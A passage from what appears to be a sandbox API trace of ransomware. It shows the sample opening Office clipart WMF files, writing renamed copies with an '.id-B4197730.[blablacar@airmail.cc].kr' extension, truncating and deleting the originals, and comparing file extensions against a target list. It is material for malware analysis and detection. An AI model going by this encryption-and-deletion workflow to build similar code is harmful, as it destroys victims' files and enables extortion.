(hObject=0x38c) returned 1 [0197.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0197.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0197.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0197.008] lstrlenW (lpString=".doc") returned 4 [0197.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.008] lstrlenW (lpString=".docx") returned 5 [0197.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.008] lstrlenW (lpString=".pdf") returned 4 [0197.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.008] lstrlenW (lpString=".xls") returned 4 [0197.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.008] lstrlenW (lpString=".xlsx") returned 5 [0197.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.008] lstrlenW (lpString=".ppt") returned 4 [0197.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0197.008] lstrlenW (lpString=".zip") returned 4 [0197.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.008] lstrlenW (lpString=".rar") returned 4 [0197.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.009] lstrlenW (lpString=".bz2") returned 4 [0197.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.009] lstrlenW (lpString=".7z") returned 3 [0197.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0197.009] lstrlenW (lpString=".dbf") returned 4 [0197.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0197.009] lstrlenW (lpString=".1cd") returned 4 [0197.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0197.009] lstrlenW (lpString=".jpg") returned 4 [0197.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0197.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0197.009] lstrlenW (lpString=".doc") returned 4 [0197.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.009] lstrlenW (lpString=".docx") returned 5 [0197.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.009] lstrlenW (lpString=".pdf") returned 4 [0197.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.009] lstrlenW (lpString=".xls") returned 4 [0197.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.009] lstrlenW (lpString=".xlsx") returned 5 [0197.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.009] lstrlenW (lpString=".ppt") returned 4 [0197.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0197.009] lstrlenW (lpString=".zip") returned 4 [0197.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.010] lstrlenW (lpString=".rar") returned 4 [0197.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.010] lstrlenW (lpString=".bz2") returned 4 [0197.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.010] lstrlenW (lpString=".7z") returned 3 [0197.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0197.010] lstrlenW (lpString=".dbf") returned 4 [0197.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0197.010] lstrlenW (lpString=".1cd") returned 4 [0197.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0197.010] lstrlenW (lpString=".jpg") returned 4 [0197.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.010] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0197.010] lstrlenW (lpString="HH02166_.WMF") returned 12 [0197.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0197.295] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1324) returned 1 [0197.295] CloseHandle (hObject=0x3e4) returned 1 [0197.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220 [0197.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0197.296] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.296] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0197.297] GetLastError () returned 0x0 [0197.297] ReadFile (in: hFile=0x3e4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x52c, lpOverlapped=0x0) returned 1 [0197.299] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x530, lpOverlapped=0x0) returned 1 [0197.300] ReadFile (in: hFile=0x3e4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.301] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0197.301] SetEndOfFile (hFile=0x544) returned 1 [0197.301] CloseHandle (hObject=0x544) returned 1 [0197.301] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.301] SetEndOfFile (hFile=0x3e4) returned 1 [0197.304] CloseHandle (hObject=0x3e4) returned 1 [0197.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0197.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0197.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0197.305] lstrlenW (lpString=".doc") returned 4 [0197.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.305] lstrlenW (lpString=".docx") returned 5 [0197.305] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.305] lstrlenW (lpString=".pdf") returned 4 [0197.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.305] lstrlenW (lpString=".xls") returned 4 [0197.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.305] lstrlenW (lpString=".xlsx") returned 5 [0197.305] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.305] lstrlenW (lpString=".ppt") returned 4 [0197.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0197.305] lstrlenW (lpString=".zip") returned 4 [0197.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.306] lstrlenW (lpString=".rar") returned 4 [0197.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.306] lstrlenW (lpString=".bz2") returned 4 [0197.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.306] lstrlenW (lpString=".7z") returned 3 [0197.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0197.306] lstrlenW (lpString=".dbf") returned 4 [0197.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0197.306] lstrlenW (lpString=".1cd") returned 4 [0197.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0197.306] lstrlenW (lpString=".jpg") returned 4 [0197.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0197.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0197.306] lstrlenW (lpString=".doc") returned 4 [0197.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.306] lstrlenW (lpString=".docx") returned 5 [0197.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.306] lstrlenW (lpString=".pdf") returned 4 [0197.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.306] lstrlenW (lpString=".xls") returned 4 [0197.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.306] lstrlenW (lpString=".xlsx") returned 5 [0197.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.306] lstrlenW (lpString=".ppt") returned 4 [0197.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0197.307] lstrlenW (lpString=".zip") returned 4 [0197.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.307] lstrlenW (lpString=".rar") returned 4 [0197.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.307] lstrlenW (lpString=".bz2") returned 4 [0197.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.307] lstrlenW (lpString=".7z") returned 3 [0197.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0197.307] lstrlenW (lpString=".dbf") returned 4 [0197.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0197.307] lstrlenW (lpString=".1cd") returned 4 [0197.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0197.307] lstrlenW (lpString=".jpg") returned 4 [0197.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.307] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0197.307] lstrlenW (lpString="HM00116_.WMF") returned 12 [0197.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0197.308] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=15852) returned 1 [0197.308] CloseHandle (hObject=0x3e4) returned 1 [0197.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220 [0197.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0197.309] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.309] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0197.310] GetLastError () returned 0x0 [0197.310] ReadFile (in: hFile=0x3e4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x3dec, lpOverlapped=0x0) returned 1 [0197.312] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x3df0, lpOverlapped=0x0) returned 1 [0197.313] ReadFile (in: hFile=0x3e4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.313] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0197.313] SetEndOfFile (hFile=0x544) returned 1 [0197.313] CloseHandle (hObject=0x544) returned 1 [0197.313] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.313] SetEndOfFile (hFile=0x3e4) returned 1 [0197.317] CloseHandle (hObject=0x3e4) returned 1 [0197.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0197.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0197.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0197.319] lstrlenW (lpString=".doc") returned 4 [0197.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.319] lstrlenW (lpString=".docx") returned 5 [0197.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.319] lstrlenW (lpString=".pdf") returned 4 [0197.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.319] lstrlenW (lpString=".xls") returned 4 [0197.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.319] lstrlenW (lpString=".xlsx") returned 5 [0197.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.319] lstrlenW (lpString=".ppt") returned 4 [0197.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0197.319] lstrlenW (lpString=".zip") returned 4 [0197.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.319] lstrlenW (lpString=".rar") returned 4 [0197.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.319] lstrlenW (lpString=".bz2") returned 4 [0197.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.319] lstrlenW (lpString=".7z") returned 3 [0197.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0197.319] lstrlenW (lpString=".dbf") returned 4 [0197.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0197.320] lstrlenW (lpString=".1cd") returned 4 [0197.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0197.320] lstrlenW (lpString=".jpg") returned 4 [0197.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0197.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0197.320] lstrlenW (lpString=".doc") returned 4 [0197.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.320] lstrlenW (lpString=".docx") returned 5 [0197.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.320] lstrlenW (lpString=".pdf") returned 4 [0197.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.320] lstrlenW (lpString=".xls") returned 4 [0197.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.320] lstrlenW (lpString=".xlsx") returned 5 [0197.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.320] lstrlenW (lpString=".ppt") returned 4 [0197.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0197.320] lstrlenW (lpString=".zip") returned 4 [0197.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.320] lstrlenW (lpString=".rar") returned 4 [0197.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.320] lstrlenW (lpString=".bz2") returned 4 [0197.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.320] lstrlenW (lpString=".7z") returned 3 [0197.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0197.320] lstrlenW (lpString=".dbf") returned 4 [0197.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0197.320] lstrlenW (lpString=".1cd") returned 4 [0197.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0197.321] lstrlenW (lpString=".jpg") returned 4 [0197.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.321] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0197.321] lstrlenW (lpString="HM00172_.WMF") returned 12 [0197.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0197.322] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2832) returned 1 [0197.322] CloseHandle (hObject=0x3e4) returned 1 [0197.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220 [0197.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0197.322] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.323] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0197.323] GetLastError () returned 0x0 [0197.323] ReadFile (in: hFile=0x3e4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xb10, lpOverlapped=0x0) returned 1 [0197.325] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xb20, lpOverlapped=0x0) returned 1 [0197.326] ReadFile (in: hFile=0x3e4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.326] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0197.326] SetEndOfFile (hFile=0x544) returned 1 [0197.327] CloseHandle (hObject=0x544) returned 1 [0197.327] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.327] SetEndOfFile (hFile=0x3e4) returned 1 [0197.329] CloseHandle (hObject=0x3e4) returned 1 [0197.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 